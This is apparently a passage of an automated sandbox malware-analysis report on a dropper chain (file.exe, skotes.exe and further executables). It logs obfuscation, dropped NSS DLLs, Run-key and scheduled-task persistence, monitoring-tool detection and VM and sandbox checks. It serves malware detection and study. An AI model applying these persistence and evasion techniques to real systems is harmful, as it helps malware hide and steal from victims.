Source: random[2].exe.6.dr Static PE information: section name: icbwwxfp
Source: random[2].exe.6.dr Static PE information: section name: jtrkmseq
Source: random[2].exe.6.dr Static PE information: section name: .taggant
Source: 99fdcf0a11.exe.6.dr Static PE information: section name:
Source: 99fdcf0a11.exe.6.dr Static PE information: section name: .idata
Source: 99fdcf0a11.exe.6.dr Static PE information: section name: icbwwxfp
Source: 99fdcf0a11.exe.6.dr Static PE information: section name: jtrkmseq
Source: 99fdcf0a11.exe.6.dr Static PE information: section name: .taggant
Source: freebl3.dll.10.dr Static PE information: section name: .00cfg
Source: freebl3[1].dll.10.dr Static PE information: section name: .00cfg
Source: mozglue.dll.10.dr Static PE information: section name: .00cfg
Source: mozglue[1].dll.10.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.10.dr Static PE information: section name: .didat
Source: msvcp140[1].dll.10.dr Static PE information: section name: .didat
Source: nss3.dll.10.dr Static PE information: section name: .00cfg
Source: nss3[1].dll.10.dr Static PE information: section name: .00cfg
Source: softokn3.dll.10.dr Static PE information: section name: .00cfg
Source: softokn3[1].dll.10.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0020CAB0 push 32ABAEC4h; mov dword ptr [esp], esi 2_1_0020D252
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0020CAB0 push eax; mov dword ptr [esp], ecx 2_1_0020D25D
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00219030 push esi; mov dword ptr [esp], 15620C06h 2_1_002190CF
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00219030 push 26811273h; mov dword ptr [esp], edx 2_1_00219135
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00219030 push 5140975Ah; mov dword ptr [esp], ebp 2_1_0021B255
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00219030 push ebp; mov dword ptr [esp], esi 2_1_0021B2B7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_002A7A3C push 7177F1BEh; mov dword ptr [esp], esi 2_1_002A7A59
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_002A6A10 push edi; mov dword ptr [esp], 6DB650FFh 2_1_002A6A37
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_002A6A10 push eax; mov dword ptr [esp], ebx 2_1_002A6A63
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0027E41C push 7F5AA947h; mov dword ptr [esp], edi 2_1_0027E43E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0027E41C push 0C5A05D8h; mov dword ptr [esp], ebp 2_1_0027E473
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00288079 push 51EE6019h; mov dword ptr [esp], esi 2_1_002880A1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00288079 push edi; mov dword ptr [esp], edx 2_1_00288132
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00267A41 push edx; mov dword ptr [esp], edi 2_1_00267A62
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0028948B push esi; mov dword ptr [esp], ebx 2_1_002894E2
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00263EE0 push eax; mov dword ptr [esp], 1D79AF3Fh 2_1_00263F05
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00263EE0 push ebx; mov dword ptr [esp], 6BFFF4D7h 2_1_00263F65
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00263EE0 push esi; mov dword ptr [esp], eax 2_1_00263FEA
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00224523 push ebp; mov dword ptr [esp], eax 2_1_00224527
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00215B04 push edi; mov dword ptr [esp], ecx 2_1_00215B70
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_002A616E push esi; mov dword ptr [esp], 23554E76h 2_1_002A619A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_00224168 push edx; mov dword ptr [esp], ebx 2_1_002241A5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0026777B push ecx; mov dword ptr [esp], edx 2_1_00267799
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0026777B push edi; mov dword ptr [esp], ebp 2_1_002677C1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0026777B push 3F5B8FAFh; mov dword ptr [esp], edx 2_1_002677E0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0020D745 push 362498C1h; mov dword ptr [esp], eax 2_1_0020D703
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0020D745 push 52552AE7h; mov dword ptr [esp], ebx 2_1_0020D928
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0029EFAD push edx; mov dword ptr [esp], esi 2_1_0029EFD4
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_002A75E7 push 593AB154h; mov dword ptr [esp], esi 2_1_002A761A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_002889D5 push ebx; mov dword ptr [esp], ebp 2_1_002889F4
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_1_0007F2C8 push ebx; mov dword ptr [esp], ebp 2_1_000801D1
Source: file.exe Static PE information: section name: entropy: 7.9885452868625055
Source: file.exe Static PE information: section name: hhtplcno entropy: 7.952903157430066
Source: skotes.exe.0.dr Static PE information: section name: entropy: 7.9885452868625055
Source: skotes.exe.0.dr Static PE information: section name: hhtplcno entropy: 7.952903157430066
Source: random[1].exe.6.dr Static PE information: section name: ajtwcbtw entropy: 7.955635022741711
Source: 150f368769.exe.6.dr Static PE information: section name: ajtwcbtw entropy: 7.955635022741711
Source: random[1].exe0.6.dr Static PE information: section name: entropy: 7.982418242990123
Source: random[1].exe0.6.dr Static PE information: section name: dkoidnzf entropy: 7.952952605268814
Source: 22a4a09ee3.exe.6.dr Static PE information: section name: entropy: 7.982418242990123
Source: 22a4a09ee3.exe.6.dr Static PE information: section name: dkoidnzf entropy: 7.952952605268814
Source: random[1].exe1.6.dr Static PE information: section name: plxaxrgl entropy: 7.953737574598444
Source: 8c3bfc0f85.exe.6.dr Static PE information: section name: plxaxrgl entropy: 7.953737574598444
Source: random[2].exe.6.dr Static PE information: section name: entropy: 7.770883766364083
Source: 99fdcf0a11.exe.6.dr Static PE information: section name: entropy: 7.770883766364083
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 99fdcf0a11.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 22a4a09ee3.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8c3bfc0f85.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9108c36d20.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 22a4a09ee3.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 22a4a09ee3.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8c3bfc0f85.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8c3bfc0f85.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9108c36d20.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9108c36d20.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 99fdcf0a11.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 99fdcf0a11.exe Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
